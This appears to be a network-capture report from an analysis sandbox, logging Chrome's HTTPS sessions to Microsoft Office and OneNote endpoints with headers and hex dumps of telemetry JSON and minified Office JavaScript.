MIA301000106023 Ref C: 2024-04-26T07:59:40Z Date: Fri, 26 Apr 2024 07:59:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49949	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:40 UTC	826	OUT	POST /suite/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 2526 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PUS3-ARRAffinity=c2b15893418d6fcf7b43568bf311dd6186fe02d8d96455beabbe7d072166f72d
2024-04-26 07:59:40 UTC	2526	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 34 39 35 32 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 38 33 34 35 38 32 2c 22 54 22 3a 36 2c 22 4d 22 3a 22 4a 53 41 50 49 20 66 65 74 63 68 20 73 75 63 63 65 65 64 65 64 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 62 6f 6f 74 73 74 72 61 70 70 65 72 2e 20 4f 6e 52 65 74 72 79 3a 20 66 61 6c 73 65 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 32 30 7d 2c 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 38 2c 22 4d 22 3a 22 4f 6e 65 4e 6f 74 65 4a 73 41 70 69 56 32 47 61 74 65 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 36 36 31 33 38 39 35 2c 22 54 22 3a 39 2c 22 4d 22 3a 22 67 65 74 44 69 61 67 6e 6f 73 74 69 63 73 3a 20 5b 53 65 73 73 69 6f 6e 4f Data Ascii: {"T":1714118349526,"L":[{"G":507834582,"T":6,"M":"JSAPI fetch succeeded for OneNote bootstrapper. OnRetry: false","C":3027,"D":20},{"G":521164238,"T":8,"M":"OneNoteJsApiV2Gate: Disabled","C":3027,"D":50},{"G":556613895,"T":9,"M":"getDiagnostics: [SessionO
2024-04-26 07:59:41 UTC	4046	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e24de424-ec2b-474e-bf6b-e56089ac6de2 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BN3PEPF00004E25 X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF0000946B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A26CE631D37348528CC891B0D273E4F0 Ref B: MIA301000102011 Ref C: 2024-04-26T07:59:40Z Date: Fri, 26 Apr 2024 07:59:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49950	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:40 UTC	679	OUT	GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:41 UTC	1061	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3454 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: a335be64-e1e0-41c5-9e02-fbacde892a4c X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00012F7C X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com X-Content-Type-Options: nosniff X-OFFICEFD: SN3PEPF00012F7C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: F0801F473B4D4B8CA4554A39671E58F8 Ref B: MIA301000102009 Ref C: 2024-04-26T07:59:40Z Date: Fri, 26 Apr 2024 07:59:40 GMT Connection: close
2024-04-26 07:59:41 UTC	3242	IN	Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 31 34 31 31 38 33 38 30 39 34 31 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 6c 73 48 65 61 72 74 42 65 61 74 49 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 43 6f 6d 6d 6f 6e 48 6f 73 74 44 69 61 67 6e 6f 73 74 69 63 73 50 61 72 61 6d 73 22 3a 74 72 75 65 2c 22 53 68 6f 75 6c 64 4c 6f 67 4a 73 41 70 69 4b 70 69 73 46 6f 72 57 6f 72 64 22 3a 74 72 75 65 2c 22 45 6e 61 62 6c 65 46 72 61 6d 65 50 61 67 65 45 72 72 6f 72 52 65 70 6f 72 74 69 6e 67 46 6f 72 57 6f 72 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 54 65 6c 65 6d 65 74 72 79 22 3a 66 61 6c 73 65 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 53 65 74 74 69 6e 67 73 46 65 74 63 Data Ascii: {"timestamp":1714118380941,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetc
2024-04-26 07:59:41 UTC	212	IN	Data Raw: 38 2c 31 38 30 32 31 33 39 36 39 38 2c 31 39 38 36 36 38 39 33 39 37 2c 31 39 38 36 36 38 39 36 33 33 2c 31 39 38 36 36 38 39 36 34 37 2c 31 39 38 36 37 34 38 37 39 31 2c 31 39 38 36 37 34 38 37 39 33 2c 31 39 38 36 37 34 39 30 33 30 2c 31 39 38 36 37 34 39 32 38 38 2c 31 39 38 36 37 34 39 35 34 36 2c 32 30 30 34 34 34 33 37 36 30 2c 32 30 30 34 34 34 34 32 37 38 2c 32 30 30 34 34 34 38 33 35 34 22 2c 22 42 75 6c 73 45 6e 64 70 6f 69 6e 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 75 73 63 2d 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 6f 2f 52 65 6d 6f 74 65 55 6c 73 2e 61 73 68 78 22 7d Data Ascii: 8,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354","BulsEndpointUrl":"https://usc-onenote.officeapps.live.com/o/RemoteUls.ashx"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49953	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:41 UTC	887	OUT	GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:41 UTC	1004	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3454 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: eb01daa7-54a2-45d8-bd13-631d3afc8c5f X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BL6PEPF0000D91E X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS8 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-OFFICEFD: BL6PEPF0000D91E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 7370BB119AB54FD7906D9D081AA07033 Ref B: MIA301000102045 Ref C: 2024-04-26T07:59:41Z Date: Fri, 26 Apr 2024 07:59:41 GMT Connection: close
2024-04-26 07:59:41 UTC	647	IN	Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 31 34 31 31 38 33 38 31 35 31 34 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 6c 73 48 65 61 72 74 42 65 61 74 49 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 43 6f 6d 6d 6f 6e 48 6f 73 74 44 69 61 67 6e 6f 73 74 69 63 73 50 61 72 61 6d 73 22 3a 74 72 75 65 2c 22 53 68 6f 75 6c 64 4c 6f 67 4a 73 41 70 69 4b 70 69 73 46 6f 72 57 6f 72 64 22 3a 74 72 75 65 2c 22 45 6e 61 62 6c 65 46 72 61 6d 65 50 61 67 65 45 72 72 6f 72 52 65 70 6f 72 74 69 6e 67 46 6f 72 57 6f 72 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 54 65 6c 65 6d 65 74 72 79 22 3a 66 61 6c 73 65 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 53 65 74 74 69 6e 67 73 46 65 74 63 Data Ascii: {"timestamp":1714118381514,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetc
2024-04-26 07:59:41 UTC	2807	IN	Data Raw: 32 30 39 33 34 34 2c 33 32 34 39 35 34 35 2c 33 32 39 30 31 34 34 2c 34 32 37 33 32 38 35 2c 34 32 38 35 38 35 30 2c 34 32 39 38 39 36 35 2c 34 32 39 38 39 36 38 2c 34 32 39 38 39 36 39 2c 34 37 35 31 36 39 36 2c 35 33 30 36 34 39 37 2c 35 39 30 34 34 37 36 2c 36 33 37 35 31 39 35 2c 36 35 37 32 32 32 36 2c 36 39 34 38 31 36 37 2c 37 34 36 33 34 39 38 2c 38 31 39 34 30 31 37 2c 38 34 35 38 36 34 32 2c 31 37 30 34 34 32 38 39 2c 31 37 30 38 35 32 31 30 2c 31 37 30 38 35 32 31 36 2c 31 37 31 36 32 35 32 32 2c 31 37 33 35 38 38 35 37 2c 31 37 33 38 37 36 38 32 2c 31 39 32 31 34 36 31 31 2c 31 39 37 30 37 30 33 39 2c 31 39 37 34 33 39 30 32 2c 31 39 39 33 39 36 34 38 2c 32 30 34 38 36 31 35 38 2c 32 31 36 32 37 37 31 32 2c 32 31 36 33 31 33 37 30 2c 32 32 34 Data Ascii: 209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,224

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49957	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:42 UTC	507	OUT	GET /suite/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: common.online.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PUS3-ARRAffinity=c2b15893418d6fcf7b43568bf311dd6186fe02d8d96455beabbe7d072166f72d
2024-04-26 07:59:42 UTC	1043	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 6bde07a1-c130-4e36-ae60-4aed7fda24d7 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BN3PEPF00004E25 X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00009465 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_onenoteslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: BB272041BCEB4FDA9DC392DB80558C16 Ref B: MIA301000106047 Ref C: 2024-04-26T07:59:42Z Date: Fri, 26 Apr 2024 07:59:42 GMT Connection: close
2024-04-26 07:59:42 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-04-26 07:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49961	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:43 UTC	590	OUT	GET /admincenter/admin-main/2024.4.18.3/floodgate.en.bundle.js HTTP/1.1 Host: res.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://usc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:43 UTC	1152	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 281587 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:43 GMT Last-Modified: Mon, 22 Apr 2024 19:13:24 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=81074974557652238886631694187009249397"}],"include_subdomains ":true} Server: ECAcc (mid/874E) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 2a64d3d7-401e-0045-4420-95bde3000000 Content-Length: 1156172 Connection: close
2024-04-26 07:59:43 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 72 2c 6e 2c 6f 2c 61 3d 7b 33 39 32 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 7b 46 6f 72 6d 3a 7b 43 61 6e 63 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 43 61 6e 63 65 6c 22 7d 2c 43 6f 6d 6d 65 6e 74 50 6c 61 63 65 68 6f 6c 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 50 6c 65 61 73 65 20 64 6f 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 61 6e 79 20 63 6f 6e 66 69 64 65 6e 74 69 61 6c 20 6f 72 20 70 65 72 73 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 6e 20 79 6f 75 72 20 63 6f 6d 6d 65 6e 74 22 7d 2c 45 6d 61 69 6c 50 6c 61 63 65 68 6f 6c 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 Data Ascii: !function(){var e,t,r,n,o,a={3923:function(e,t){e.exports={Form:{Cancel:function(n){return"Cancel"},CommentPlaceholder:function(n){return"Please do not include any confidential or personal information in your comment"},EmailPlaceholder:function(n){return"
2024-04-26 07:59:43 UTC	1	IN	Data Raw: 54 Data Ascii: T
2024-04-26 07:59:43 UTC	16383	IN	Data Raw: 36 34 29 2c 73 29 69 66 28 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 62 29 29 7b 6b 3d 73 5b 62 5d 3b 74 2e 5f 57 72 69 74 65 53 74 72 69 6e 67 28 62 29 2c 74 2e 5f 57 72 69 74 65 49 6e 74 36 34 28 69 2e 6e 75 6d 62 65 72 54 6f 42 6f 6e 64 49 6e 74 36 34 28 6b 29 29 7d 69 66 28 63 29 66 6f 72 28 76 61 72 20 62 20 69 6e 20 74 2e 5f 57 72 69 74 65 46 69 65 6c 64 42 65 67 69 6e 28 6e 2e 5f 42 6f 6e 64 44 61 74 61 54 79 70 65 2e 5f 42 54 5f 4d 41 50 2c 33 34 2c 6e 75 6c 6c 29 2c 74 2e 5f 57 72 69 74 65 4d 61 70 43 6f 6e 74 61 69 6e 65 72 42 65 67 69 6e 28 63 2c 6e 2e 5f 42 6f 6e 64 44 61 74 61 54 79 70 65 2e 5f 42 54 5f 53 54 52 49 4e 47 2c 6e 2e 5f 42 6f 6e 64 44 61 74 61 54 79 70 65 2e 5f 42 54 5f 44 4f 55 42 4c 45 29 2c 6c 29 69 66 28 6c 2e 68 61 Data Ascii: 64),s)if(s.hasOwnProperty(b)){k=s[b];t._WriteString(b),t._WriteInt64(i.numberToBondInt64(k))}if(c)for(var b in t._WriteFieldBegin(n._BondDataType._BT_MAP,34,null),t._WriteMapContainerBegin(c,n._BondDataType._BT_STRING,n._BondDataType._BT_DOUBLE),l)if(l.ha
2024-04-26 07:59:44 UTC	16383	IN	Data Raw: 2c 21 30 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 70 61 75 73 65 64 3d 21 30 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 73 75 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 70 61 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 73 65 6e 64 51 75 65 75 65 64 52 65 71 75 65 73 74 73 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 51 75 65 75 65 64 52 65 71 75 65 73 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 72 65 71 75 65 73 74 51 75 65 75 65 2e 6c 65 6e 67 74 68 3d 30 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 53 79 6e 63 68 72 6f 6e 6f 75 73 52 65 71 75 65 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 2e 5f 70 61 Data Ascii: ,!0)},e.prototype.pause=function(){this._paused=!0},e.prototype.resume=function(){this._paused=!1,this.sendQueuedRequests()},e.prototype.removeQueuedRequests=function(){this._requestQueue.length=0},e.prototype.sendSynchronousRequest=function(e,t){this._pa
2024-04-26 07:59:44 UTC	16383	IN	Data Raw: 65 3b 29 7b 66 6f 72 28 3b 74 68 69 73 2e 5f 69 6e 62 6f 75 6e 64 51 75 65 75 65 73 5b 74 5d 5b 30 5d 2e 6c 65 6e 67 74 68 3e 30 3b 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 69 6e 62 6f 75 6e 64 51 75 65 75 65 73 5b 74 5d 5b 30 5d 2e 70 6f 70 28 29 3b 74 68 69 73 2e 5f 71 75 65 75 65 53 69 7a 65 2d 2d 2c 74 68 69 73 2e 5f 62 61 74 63 68 65 72 2e 61 64 64 45 76 65 6e 74 54 6f 42 61 74 63 68 28 72 29 7d 74 2d 2d 7d 74 68 69 73 2e 5f 62 61 74 63 68 65 72 2e 66 6c 75 73 68 42 61 74 63 68 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 75 70 6c 6f 61 64 4e 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 68 61 73 45 76 65 6e 74 73 28 29 26 26 74 68 69 73 2e 73 65 6e 64 45 76 65 6e 74 73 46 6f 72 50 72 69 6f 72 69 Data Ascii: e;){for(;this._inboundQueues[t][0].length>0;){var r=this._inboundQueues[t][0].pop();this._queueSize--,this._batcher.addEventToBatch(r)}t--}this._batcher.flushBatch()},e.prototype._uploadNow=function(e){var t=this;this.hasEvents()&&this.sendEventsForPriori
2024-04-26 07:59:44 UTC	16383	IN	Data Raw: 6e 74 73 5b 74 5d 3b 76 61 72 20 72 3d 5b 5d 2c 6f 3d 5b 5d 2c 61 3d 6e 2e 59 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6e 3d 65 3b 74 3c 6e 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 73 3d 6e 5b 74 5d 3b 69 66 28 73 29 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 73 29 69 66 28 73 2e 69 6e 64 65 78 4f 66 28 22 20 22 29 3e 3d 30 29 69 28 73 2e 73 70 6c 69 74 28 22 20 22 29 29 3b 65 6c 73 65 7b 76 61 72 20 75 3d 61 2e 61 72 67 73 46 72 6f 6d 43 6c 61 73 73 4e 61 6d 65 28 73 29 3b 75 3f 69 28 75 29 3a 2d 31 3d 3d 3d 72 2e 69 6e 64 65 78 4f 66 28 73 29 26 26 72 2e 70 75 73 68 28 73 29 7d 65 6c 73 65 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 73 29 3f 69 Data Ascii: nts[t];var r=[],o=[],a=n.Y.getInstance();function i(e){for(var t=0,n=e;t<n.length;t++){var s=n[t];if(s)if("string"==typeof s)if(s.indexOf(" ")>=0)i(s.split(" "));else{var u=a.argsFromClassName(s);u?i(u):-1===r.indexOf(s)&&r.push(s)}else Array.isArray(s)?i
